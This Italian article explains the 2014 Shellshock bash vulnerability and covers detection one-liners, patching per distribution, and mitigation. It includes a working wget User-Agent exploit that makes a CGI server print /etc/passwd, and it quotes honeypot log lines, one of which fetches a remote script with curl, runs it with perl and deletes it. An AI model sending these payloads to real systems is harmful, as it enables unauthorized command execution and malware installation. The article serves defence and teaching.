Shellshock

Shellshock e' il significativo nome che e' stato assegnato ad un bug della bash. Si tratta di un bug che ha un pesante impatto sulla sicurezza poiche' e' facile sfruttarlo lanciare comandi shell, anche senza autenticazione, a moltissimi sistemi (eg. la maggioranza dei Linux, i sistemi Apple OSX, molti NAS, ...).
In questo documento vediamo come riconoscere il bug, come correggerlo e... altro!

L'impatto sulla sicurezza di Shellshock e' molto significativo: e' facile da sfruttare e sono moltissimi i sistemi attaccabili.
Sono infatti colpiti praticamente tutti i sistemi Linux alcuni in modo piu' pesante perche' utilizzano la bash come default come Red Hat, Fedora, OEL, Centos, ... Ma sono soggetti al bug anche molti sistemi embedded sui cui e' difficile effettuare aggiornamenti e patching (eg. NAS, router, proxy, ...). Tipicamente non viene concesso un accesso diretto tramite bash all'esterno... pero' sono attaccabili anche gli script CGI e questi sono tipicamente richiamabili via HTTP senza alcuna autenticazione.

Primo controllo

Il controllo della presenza del bug e' semplice:

env x='() { :;}; echo Vulnerable' bash -c "echo This is a test"

Se viene stampata la scritta "Vulnerable" la bash In pratica viene eseguito il codice passato come environment dopo la definizione di una funzione.

Exploit

Per capire l'impatto del bug e' sufficiente questo semplice esempio. Con il comando:

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" \ http://10.0.0.1/cgi-bin/test.cgi

Viene visualizzato il file di password del sistema che ospita il web server. Senza alcuna necessita' di accedere in modo autorizzato ma con una semplice richiesta web.

Come funziona? Lo script CGI:

#!/bin/bash
echo "Content-type: text/plain"
echo 
echo
echo "Ciao mondo"
Viene trasformato in:
() {
    test
}
echo "Content-type: text/plain"
echo 
echo
/bin/cat /etc/passwd
Qualsiasi script CGI che utilizzi la bash in pratica concede l'accesso al sistema operativo.

Come risolvere il problema

Basta aggiornare la bash con una versione piu' recente in cui il bug e' stato corretto.

Ad esempio distribuzioni Red Hat e simili e' sufficiente il comando: yum update bash
Mentre per Debian, Ubuntu e derivati il comando e': apt-get update; apt-get install bash

Quando il gioco si fa duro...

Se fosse tutto qui sarebbe troppo semplice! In realta' nei primi paragrafi non e' stato detto tutto...

La prima patch uscita non ha risolto in modo completo i problemi di sicurezza della bash, per questo e' stato aperto un nuovo bug, quindi un'altro, ... In pratica lo Shellshock e' stato solo il primo dei bug ad essere stato scoperto, ve ne sono anche altri che sfruttano sintassi simili. Ecco un test completo:

env x='() { :;}; echo vulnerable' bash -c "echo Test completed" 

echo Advanced test...
env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo Test completed"

echo 7169 test...
cd /tmp; rm -f /tmp/echo; env 'x=() { (a)=>\' bash -c "echo date"; cat /tmp/echo
echo "If a date has been shown the bug 7169 is still present"

Per risolvere tutti i problemi la prima patch uscita non e' sufficiente. Altri bug sono stati scoperti e risolti solo successivamente (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277 e CVE-2014-6278). In pochi giorni sono state emesse le patch complete ma... non per tutti!

Le patch per la versione 4 di Red Hat (che e' in extended life) vengono distribuite solo a clienti "paganti". Per CentOS la versione 4 non e' piu' supportata (da marzo 2012), quindi giustamente nessuna patch e' stata emessa per tale versione mentre sono state emesse tempestivamente le patch per la versione 5 e succ. Per fortuna la distribuzione OEL (Oracle Enterprise Linux) ha reso disponibili le patch sui repository pubblici per tutte le versioni di OEL (dalla 4 alla 7). Poiche' c'e' compatibilita' binaria tra queste distribuzioni si puo' utilizzare la patch rilasciata da Oracle anche per Red Hat e per CentOS.

Oltre che in molte distribuzioni Linux, la bash e' utilizzata come shell di default anche da OSX. La Apple non ha emesso patch... pero' ha rilasciato di recente Yosemite [NdE OSX 10.10, disponibile dal 17 ottobre 2014] in cui il bug non e' presente (ovviamente non mi sono fidato ed ho provato di persona).

Poiche' gli script piu' soggetti sono i CGI basta non utilizzare bash nei CGI. Si puo' sostituire la bash con la semplice, omnipresente ed immune allo Shellshock: Bourne Shell. Le differenze di sintassi sono limitate e, per quanto tipicamente serve in un script CGI, facilmente correggibili.

Dove non si riesce ad agire altrimenti... si possono sostituire gli eseguibili della bash con la bourne.

Nell'esempio di exploit viene visualizzato il contenuto del file delle utenze/password. Ma non e' l'unica tecnica. Sui log degli honeypot sono subito apparsi esempi interessanti quali: collezionare gli IP dei server attaccabili, installare un bot...

x.x.x.x - - [25/Sep/2014 05:05:05] "GET / HTTP/1.0" 200 - referer, () { :; }; ping -c 69 x.x.x.x

User-Agent, "() { :;}; /bin/bash -c \"cd /tmp;curl -O http://x.x.x.x/jur ; perl /tmp/jur;rm -rf /tmp/jur\”

Il bug e' presente nella bash praticamente da sempre: forse e' gia' troppo tardi! Meglio comportarsi come se un accesso non autorizzato sia gia' avvenuto prendendo tutte le precauzioni del caso.

Note

Una breve bibliografia e' la seguente:

Altri documenti di questo tipo su questa pagina Hack


Titolo: Shellshock
Livello: Hack (5/5)
Data: 27 Settembre 2014
Versione: 1.0.1 - 17 Ottobre 2014
Autore: mail [AT] meo.bogliolo.name